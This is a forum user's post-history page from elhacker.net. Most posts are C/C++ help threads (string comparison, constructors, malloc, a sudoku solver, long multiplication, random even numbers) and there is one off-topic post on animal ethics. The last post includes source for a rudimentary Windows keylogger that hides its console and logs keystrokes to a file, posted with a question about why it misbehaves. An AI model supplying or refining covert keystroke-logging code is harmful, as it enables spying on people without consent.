elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6
1  Programación / Programación C/C++ / Re: Comparación de dos cadenas sin usar ningún tipo de bucle en: 15 Marzo 2015, 20:23 pm
¿Alguien puede explicar que ocurre aquí?

En realidad no funciona solo parece estar funcionado. La razón por la que esto sucede es probablemente debido a una optimización del compilador:  al tratar de reducir los requisitos de memoria ya que las dos cadenas literales son idénticas, por lo que el compilador genera sólo una instancia de ellos y utiliza ese mismo puntero cada vez que se hace referencia a la cadena literal.

Eso es lo que parece suceder en su caso pero el resultado puede variar de compilador a compilador. No se puede confiar en esto, también mencionar que si dejas que el usuario ingrese las cadenas no se almacenaran en la misma dirección, por lo tanto su método no devolverá cero.
2  Programación / Programación C/C++ / Re: Constructor no imprime mensaje de bienvenida. en: 27 Noviembre 2014, 01:55 am
Código
  1. Usuarios usuario1();

No declara un objeto de la clase Usuarios, declara una función que no tiene argumentos y devuelve un objeto de la clase Usuarios para declarar un objeto, utilice:

Código
  1. Usuarios usuario1;

Saludos
3  Programación / Programación C/C++ / Re: Dimensionar un vector dentro de un struct en: 8 Noviembre 2014, 19:59 pm
¿Cómo transformo el puntero que ésta dentro de *primera en otro vector?

Simple:

Código
  1. primera -> trabajos = malloc(...);

Saludos
4  Programación / Programación C/C++ / Algoritmo para resolver sudoku incomprensible en: 4 Noviembre 2014, 18:48 pm
Buenas me he topado con un código un poco complicado de seguir, la cuestión es que se me hace difícil entender como logra aislar el número exacto en la posición requerida sin la necesidad (según veo) de una búsqueda exhaustiva como es común en este tipo de algoritmos, aquí el código :

Código
  1. int trycell(int *x, int pos)
  2. {
  3.    int row = pos / 9;
  4.    int col = pos % 9;
  5.    int i, j, used = 0;
  6.  
  7.    if (pos == 81)
  8.        return 1;
  9.    if (x[pos])
  10.        return trycell(x, pos + 1);
  11.  
  12.    for (i = 0; i < 9; i++)
  13.        used |= 1 << (x[i * 9 + col] - 1);
  14.  
  15.    for (j = 0; j < 9; j++)
  16.        used |= 1 << (x[row * 9 + j] - 1);
  17.  
  18.    row = row / 3 * 3;
  19.    col = col / 3 * 3;
  20.  
  21.    for (i = row; i < row + 3; i++)
  22.        for (j = col; j < col + 3; j++)
  23.            used |= 1 << (x[i * 9 + j] - 1);
  24.  
  25.    for (x[pos] = 1; x[pos] <= 9; x[pos]++, used >>= 1)
  26.        if (!(used & 1) && trycell(x, pos + 1))
  27.            return 1;
  28.    x[pos] = 0;
  29.    return 0;
  30. }

Si pudieran aclararme como funciona mas o menos este código

Saludos kutcher
5  Programación / Programación C/C++ / Re: Método de multiplicación que desconozco en: 15 Octubre 2014, 18:24 pm
Este algoritmo es la clásica multiplicación:

Efectivamente al parecer se trata del método mencionado, pero en el esquema que has hecho, el resultado que obtienes creo es incorrecto debería ser 2829 en ves de 3936 todo esto debido a la alineación del segundo producto parcial a la derecha, he hecho un seguimiento minucioso al algoritmo y trabaja mas o menos asi :

Código
  1.  1 2 3
  2.  x
  3.    2 3
  4. ----------
  5.   1// carry
  6.  +
  7. 2 4 6 9   //(4 = c[k]) (9 = 3 * 3) (6 = 2 * 3) (2 = 2 * 1)
  8.   --
  9.   5 6     //(5 = c[k]) (6 = 3 * 2)
  10.  +
  11.   3       // (3 = 3 * 1)
  12. ----------
  13. 2 8 2 9

Saludos leosansan un gusto volverte a ver escribir
6  Programación / Programación C/C++ / Método de multiplicación que desconozco en: 15 Octubre 2014, 01:41 am
Buenas noches, estoy estudiando un algoritmo que realiza una multiplicación de dos enteros almacenados en respectivos arrays, el problema es que no consigo entender el método utilizado en tal caso, ya que existen varios :

Código
  1. void longmulti(const char *a, const char *b, char *c)
  2. {
  3.    int i = 0, j = 0, k = 0, n, carry;
  4.    int la, lb;
  5.  
  6.    la = strlen(a);
  7.    lb = strlen(b);
  8.  
  9.    memset(c, '0', la + lb);
  10.    c[la + lb] = '\0';
  11.  
  12.    for (i = la - 1; i >= 0; i--)
  13.    {
  14.        for (j = lb - 1, k = i + j + 1, carry = 0; j >= 0; j--, k--)
  15.        {
  16.            n = T(a[i]) * T(b[j]) + T(c[k]) + carry;
  17.            carry = n / 10;
  18.            c[k] = (n % 10) + '0';
  19.        }
  20.        c[k] += carry;
  21.    }
  22.    if (c[0] == '0')
  23.       memmove(c, c + 1, la + lb);
  24.  
  25.    return;
  26. }

Saludos
7  Foros Generales / Foro Libre / Re: Han asesinado a Excalibur en: 9 Octubre 2014, 19:50 pm
Los separa de que no son tan inteligentes como nosotros. Viene siendo más importante la raza humana, que las demás.

 La raza humana considera a los animales como seres inferiores susceptibles de ser utilizados en beneficio de la especie humana esto debido a la creencia de que los seres humanos son superiores a los animales en su evolución. Al igual que nosotros, los demás animales (no olvidemos que los seres humanos también somos animales) son individuos con capacidad para sufrir y disfrutar de su vida al igual que nosotros por eso creo que considerar la existencia de una especie no merece peso justo debido a su especie o cualidades es irracional e injusta

 Lo cierto es que este tipo de pensamientos es tan injusto como sostener que tener la piel blanca determina si merecemos o no un trato justo o no. O también  los humanos con una discapacidad mental profunda o los enfermos en estado avanzado de Alzheimer no merecerían ser respetados como el resto. Esta discriminación es a todas luces injusta, ya que las cualidades elegidas no determinan cuáles son nuestros intereses y si nuestras vidas han de ser o no respetadas.

Saludos kutcher
8  Programación / Programación C/C++ / Re: Como generar numeros aleatorios pares? en: 30 Septiembre 2014, 15:34 pm
Solo es cuestión de generar un rango de números aleatorios especificos y multiplicar los siguientes por dos ya que todo entero multiplicado por dos siempre sera un número par :

Código
  1. 2 * ((rand() % 25) + 1)


Esto genera pares aleatorios entre 1 y 50

Saludos kutcher
9  Programación / Programación C/C++ / Re: Keylogger queda ejecutándose en un while infinito en: 13 Septiembre 2014, 04:09 am
que quieres más que haga?

Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias

Saludos kutcher



10  Programación / Programación C/C++ / Keylogger queda ejecutándose en un while infinito en: 13 Septiembre 2014, 02:44 am
Buenas, tengo el siguiente programa :

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. int main(void)
  6. {
  7.    FILE *f;
  8.    int i, n = 0;
  9.    int line[256];
  10.  
  11.    FreeConsole();
  12.  
  13.    if(! (f = fopen("log.txt", "ab+")))
  14.        return EXIT_FAILURE;
  15.  
  16.    while(1)
  17.    {
  18.        for(i = 0; i < 255; i++)
  19.        {
  20.            if(GetAsyncKeyState(i) == -32767)
  21.            {
  22.                if( n < 255)
  23.                    line[n++] = i;
  24.                else
  25.                {
  26.                    line[n] = '\0';
  27.                    fprintf(f, "%s\n", line);
  28.                    n = 0;
  29.                }
  30.            }
  31.        }
  32.        Sleep(2);
  33.    }
  34.    fclose(f);
  35.  
  36.    return EXIT_SUCCESS;
  37. }
  38.  

Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines